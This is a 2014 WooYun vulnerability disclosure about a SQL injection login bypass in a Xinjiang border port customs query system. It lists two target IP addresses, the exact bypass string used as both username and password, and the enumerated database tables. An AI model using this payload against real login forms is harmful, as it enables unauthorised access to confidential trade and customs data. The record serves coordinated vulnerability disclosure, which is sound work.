当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-085740

漏洞标题：我国某地国际口岸管理系统登录注入漏洞危及海量进出口数据

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2014-12-04 10:37

修复时间：2015-01-18 10:38

公开时间：2015-01-18 10:38

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：20

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-12-04： 细节已通知厂商并且等待厂商处理中
2014-12-09： 厂商已经确认，细节仅向厂商公开
2014-12-19： 细节向核心白帽子及相关领域专家公开
2014-12-29： 细节向普通白帽子公开
2015-01-08： 细节向实习白帽子公开
2015-01-18： 细节向公众公开

简要描述：

大数据时代

详细说明：

系统是阿拉山口鸿安国际口岸通关查询系统，登录注入漏洞
http://124.119.97.2:8081/default.aspx
http://60.13.227.250:8082/default.aspx
两个地址一样。
用户名密码都是：admin' or ''='
登录权限直接选择管理员

shouye.jpg


数据量大

shuju1.jpg


shuju2.jpg


看滚动条就知道数据有多少，这还只是三天的数据。

chukou1.jpg

漏洞证明：

还发现了被入侵的痕迹，不过洞主的网络太慢，就不深究了。

Database: system_02
[39 tables]
+---------------+
| D99_CMD       |
| D99_Tmp       |
| S3_Tmp        |
| alluser       |
| baobiao       |
| bumen         |
| caidan        |
| chukouwenjian |
| clients       |
| danwei        |
| exdengji      |
| exhz          |
| exmingxi      |
| guobie        |
| hetong        |
| imdengji      |
| imhz          |
| jiaoban       |
| jindu         |
| jinkouwenjian |
| liuxiang      |
| luodi         |
| maoyxz        |
| mingxi        |
| mxfb          |
| pbcatcol      |
| pbcatedt      |
| pbcatfmt      |
| pbcattbl      |
| pbcatvld      |
| pinming       |
| quanxian      |
| sqlmapoutput  |
| tongji        |
| wanglz        |
| xieyi         |
| zcb           |
| zhaiyao       |
| zhanname      |
+---------------+


上面这个是当前库的数据表，看前面三个表就知道，有被尝试执行命令和写马的痕迹。

修复方案：

过滤过滤。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-12-09 08:32

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT下发给新疆分中心，由其后续协调网站管理单位处置。

最新状态：

暂无